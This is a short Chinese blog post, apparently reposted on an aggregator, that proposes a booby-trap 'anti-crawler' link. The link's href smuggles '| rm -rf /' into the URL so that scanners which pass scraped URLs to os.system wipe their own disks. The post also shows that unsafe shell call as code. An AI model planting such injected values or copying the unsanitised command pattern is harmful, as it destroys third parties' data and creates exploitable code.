Quantcast
Channel: CodeSection,代码区,Python开发技术文章_教程 - CodeSec
Viewing all articles
Browse latest Browse all 9596

关于反爬虫的一个思考

$
0
0

最近在开发一个python的系统,在写爬虫的时候突然想到一个特别猥琐的对付使用脚本进行批量检测的一个小方法。

我们在进行批量扫描并检测的时候,都可能会调用一些系统命令,比如如下代码:

... for i in get_new_urls: os.system("python sqlmap.py -u %s" % i) ...

以上代码,如果我们网站的url里有下面的一个链接:

<a href="https://www.baidu.com | rm -rf / ">

那么脚本最后执行的命令就是:

os.system("python sqlmap.py -u https://www.baidu.com | rm -rf /")

所以你懂的…


Viewing all articles
Browse latest Browse all 9596

Trending Articles